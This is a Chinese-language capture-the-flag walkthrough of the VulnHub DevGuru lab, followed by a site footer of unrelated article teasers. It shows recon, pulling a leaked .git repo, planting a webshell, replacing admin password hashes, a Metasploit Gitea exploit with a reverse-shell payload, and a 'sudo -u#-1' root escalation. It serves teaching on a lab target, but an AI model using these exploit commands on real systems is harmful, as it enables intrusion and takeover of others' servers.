Vulnhub - DevGuru

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

DevGuru 靶机下载地址:DevGuru: 1 ~ VulnHub

目录

0x01 信息收集

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

0x03 权限提升 - SUDO&CVE-2021-3156


0x01 信息收集

Nmap扫描目标主机,发现开放22、80、8585端口,分别运行OpenSSH 7.6p1、Apache httpd 2.4.29服务。

访问80端口页面如下。Wappalyzer显示操作系统为Ubuntu,CMS为October CMS,数据库管理器为Adminer 4.7.7,编程语言为PHP、GO。 

DirSearch扫描80端口网站目录,发现存在Git源码泄露、管理员后台登录地址、数据库管理器地址。 

python dirsearch.py -u "http://192.168.196.139/" -z yes

数据库管理器:http://192.168.196.139/adminer.php

管理员后台登录:http://192.168.196.139/backend/backend/auth

访问8585端口,发现是一个Gitea网站(一款使用Golang编写的可自运营的代码管理工具)。

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

由于80端口网站存在Git源码泄露,通过GitHack下载其Git源码,如下:

python GitHack.py -u "http://192.168.196.139/.git/"

翻阅源码,发现 /config/database.php存在MySQL数据库账号密码泄露,用户为october。

'database'   => 'octoberdb',
'username'   => 'october',
'password'   => 'SQ66EBYx4GT3byXH',

使用october的账号密码登录Adminer(数据库: octoberdb),在backend_users表观察到用户frank的password hash,尝试使用john解密失败,但得知其加密方式为bcrypt。

使用在线网站生成bcrypt密码hash值,如下:

bcrypt hash在线生成:Bcrypt-Generator.com - Generate, Check, Hash, Decode Bcrypt Strings

 新建用户ch4ser,将生成的hash填入password,并设置is_superuser=1,如下:

PS:另一种方法

新增用户ch4ser,password选择encrypt,is_superuser选择1。在backend_users_groups表将用户ch4ser添加到管理员组。这种方法不具有普遍性,这里能用是因为password可以选择encrypt。

在管理员后台成功登录用户ch4ser。选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。

于是新建一个模板shell,尝试触发onStart()方法写入webshell。访问/shell报错,通过报错信息得知webshell写入成功。

蚁剑连接webshell成功,翻阅目录找到了备份文件/var/backups/app.ini.bak,其中存在另一个用户gitea的MySQL账号密码泄露。

DB_TYPE             = mysql
HOST                = 127.0.0.1:3306
NAME                = gitea
USER                = gitea
PASSWD              = UfFPTF8C8jjxVF2m

使用gitea的账号密码登录Adminer(数据库: gitea),在user表观察到Gitea管理员frank的密码加密算法为pbkdf2,还有rand和salt看似是加密的。

尝试使用john、hashcat破解Gitea管理员frank的密码,未成功。

在GitHub找到Gitea源码,在该存储库下搜索关键字"pbkdf2",其使用pbkdf2算法进行加密,生成长度为50的hash值,迭代次数为10000,Salt就是之前的Bop8nwtUiM。

Gitea源码地址:https://github.com/search?q=repo%3Ago-gitea%2Fgitea+pbkdf2&type=code

使用在线网站生成pbkdf2密码,填写已知信息Salt、明文、迭代次数、生成的hash长度。

Salt=Bop8nwtUiM
Plain-text=123456
Iterations=10000
Key size (bytes)=50

替换Gitea管理员frank的密码hash值,成功登录8585端口的Gitea。

 

MSF搜索Gitea相关漏洞发现CVE-2020-14144,该漏洞需要认证才可使用,我们现在已满足条件,设置好options然后run,成功拿下frank的普通用户权限。

msf6 > use exploit/multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set username frank
username => frank
msf6 exploit(multi/http/gitea_git_hooks_rce) > set password 123456
password => 123456
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.196.139
rhosts => 192.168.196.139
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rport 8585
rport => 8585
msf6 exploit(multi/http/gitea_git_hooks_rce) > set lhost 192.168.196.128
lhost => 192.168.196.128
msf6 exploit(multi/http/gitea_git_hooks_rce) > run

或者直接复现该漏洞也行,进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存,Kali这边nc监听,更新项目任意文件即可收到会话。

0x03 权限提升 - SUDO&CVE-2021-3156

上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。

辅助项目下载地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

检测到sudo版本为1.8.21p2,且检测到NOPASSWD的SUDO命令:/usr/bin/sqlite3

查询GTFOBins得知sqlite3的SUDO提权方式如下,启用一个新的root权限的bash。

GTFOBins地址:

但实测以上命令不行,原因是sudo版本不符合利用条件,使用以下命令成功拿到root权限和flag:

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

另外也可以通过sudo本身漏洞提权,只要版本符合CVE-2021-3156利用条件或者执行命令 sudoedit -s / 报错,漏洞即存在。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/455319.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Ansible管理主机的清单------------inventory

一、 Ansible组成 INVENTORY:Ansible管理主机的清单 /etc/ansible/hosts 需要管理的服务清单,(将你需要管理的主机 、地址 或者名字 写入此文件) MODULES:Ansible执行命令的功能模块,多数为内置核心模块,也可自定义 PLUGINS&…

掌握抽象基础之20个必备原则,看完你还不会,你打我

抽象基础之20个必备原则 1. 面向对象编程(OOP)中抽象原则背后的基本思想是什么?2.抽象和封装的区别?3.提供一个现实生活中说明抽象的例子4.在编程语言中如何实现抽象?5.定义抽象类6.提供一个抽象类的真实世界场景7.解释…

大数据赋能,能源企业的智慧转型之路

在数字洪流中,大数据已经成为推动产业升级的新引擎。特别是在能源行业,大数据的应用正引领着一场深刻的智慧转型。今天,我们就来探讨大数据如何在能源企业中发挥其独特的魅力,助力企业提效降本,实现绿色发展。 动态监控…

学生时期学习资源同步-1 第一学期结业考试题5

原创作者:田超凡(程序员田宝宝) 版权所有,引用请注明原作者,严禁复制转载

Java推荐算法——特征加权推荐算法(以申请学校为例)

加权推荐算法 文章目录 加权推荐算法1.推荐算法的简单介绍2.加权推荐算法详细介绍3.代码实现4.总结 1.推荐算法的简单介绍 众所周知,推荐算法有很多种,例如: 1.加权推荐:分为简单的特征加权,以及复杂的混合加权。主要…

软考高级:系统工程方法(霍尔三维结构、切克兰德方法等)概念和例题

作者:明明如月学长, CSDN 博客专家,大厂高级 Java 工程师,《性能优化方法论》作者、《解锁大厂思维:剖析《阿里巴巴Java开发手册》》、《再学经典:《Effective Java》独家解析》专栏作者。 热门文章推荐&am…

Python+Selenium 自动化 - 开发环境搭建

PythonSelenium 自动化 - 开发环境搭建 一、Python 下载与安装二、Geany 代码编辑工具下载与安装三、代码运行演示 一、Python 下载与安装 Python 官网:https://www.python.org/ 首先在官网下安装包。 建议选择稳定版本,我这里下载的是 3.12.2 版本。 …

C++Qt学习——添加资源文件

目录 1、创建好了文件之后,在左边空白处按下CtrlN,创建Qt 以及Qt Resource File 2、写入名称,点击下一步 3、可以发现已经创建好啦。 4、点击Add Prefix 5、写上前缀,最好加上斜杠 6、选择提前放好的图片或者icon 7、发…

2024最新修复版独立付费进群系统源码全开源

1、修复SQL表 2、修复支付文件 3、修复支付图标不显示 4、修复定位、分销逻辑、抽成逻辑 5、新增支持源支付、易支付的支付接口 6、修复官方微信、支付宝支付接口文件 本来早就可以完工的,被99ai群里的几个傻逼耽搁了,做好自己就行了,这…

Learn OpenGL 09 投光物+多光源

将光投射(Cast)到物体的光源叫做投光物(Light Caster)。 投光物主要分为点光源,聚光灯,平行光。 平行光 当一个光源处于很远的地方时,来自光源的每条光线就会近似于互相平行。不论物体和/或者观察者的位置,看起来好像所有的光都…

C++:vector类

vector的介绍及使用 1. vector 是表示可变大小数组的序列容器。 2. 就像数组一样, vector 也采用的连续存储空间来存储元素。也就是意味着可以采用下标对 vector 的元素进行访问,和数组一样高效。但是又不像数组,它的大小是可以动态改变的…

解锁App推广新姿势:Xinstall二维码信息获取秘籍

在移动互联网时代,App推广已成为各大企业和开发者必不可少的一项工作。而在推广过程中,二维码作为一种便捷的下载和安装方式,被广泛应用于各种场景。然而,如何有效获取并利用这些二维码信息,却成为了一个令人头疼的问题…

AUTOSAR软件配置(3):MCAL下载安装

前言 所有的NXP软件的下载安装都是需要自己在官网去注册账号的 中文的NXP官方网址:恩智浦半导体官方网站 | NXP 半导体 注:本文指导安装教程将以S32K144平台为例展开。 下载 找到下载入口的指引 然后在左侧的导航栏找到AUTOSAR 然后选择4.2版本 在…

Python中的类【详谈】

零.前言: 本文适合对Python有浅浅了解的读者,并不能作为Python入门使用。 一.Python中类的属性、方法 在Python中有变量,有函数,例如下方: def IAmAFunction():print("I am a function")IAmVariable 25…

智能革新:思通数科开源AI平台在保险合同管理中的应用与优化

思通数科开源的多模态AI能力引擎平台是一个强大的工具,它结合了自然语言处理(NLP)、图像识别和语音识别技术,为企业提供自动化处理和分析文本、音视频和图像数据的能力。这个平台的开源性质意味着它可以被广泛地应用于各种业务场景…

idea Springboot 在线考试管理系统开发mysql数据库web结构java编程计算机网页

一、源码特点 springboot 在线考试管理系统是一套完善的完整信息系统,结合mvc框架和bootstrap完成本系统springboot spring mybatis ,对理解JSP java编程开发语言有帮助系统采用springboot框架(MVC模式开发),系统具有…

这个学习Python的神仙网站,后悔没早点发现

Python 作为时下最流行的编程语言,很多初学者都将它作为自学编程的首选。不管是有编程经验的开发者,还是新手小白,在这个 AIGC 时代, Python 都可以带你探索新世界。 入门 Python 绝非难事,但如何让自己坚持学下去是如…

Set cancelled by MemoryScratchSinkOperator

Bug信息 Caused by: com.starrocks.connector.spark.exception.StarrocksInternalException: StarRocks server StarRocks BE{host=10.9.14.39, port=9060} internal failed, status code [CANCELLED] error message is [Set cancelled by MemoryScratchSinkOperator]Bug产生的…

RC522刷卡电路设计及程序

一、RC522刷卡电路组成 基于RC522的刷卡电路如上图所示。该电路组成主要分为三部分: Receiving Circuit:接收电路,接收卡发送的数据。 Filtering Impedence-Transtorm circuit:滤波和阻抗变换电路,抑制高次谐波并优化到读卡器天线…

POS 之 验证者如何才能提议区块

验证者提议区块 验证者帐户提议区块。 验证者帐户由节点运营商(可以是AWS等待云服务商)管理,节点运营商运行验证者软件作为其执行和共识客户端的一部分,并且已经向存款合约中存入了至少 32 个以太币 然而,每个验证者只是偶尔负责提议一个区块…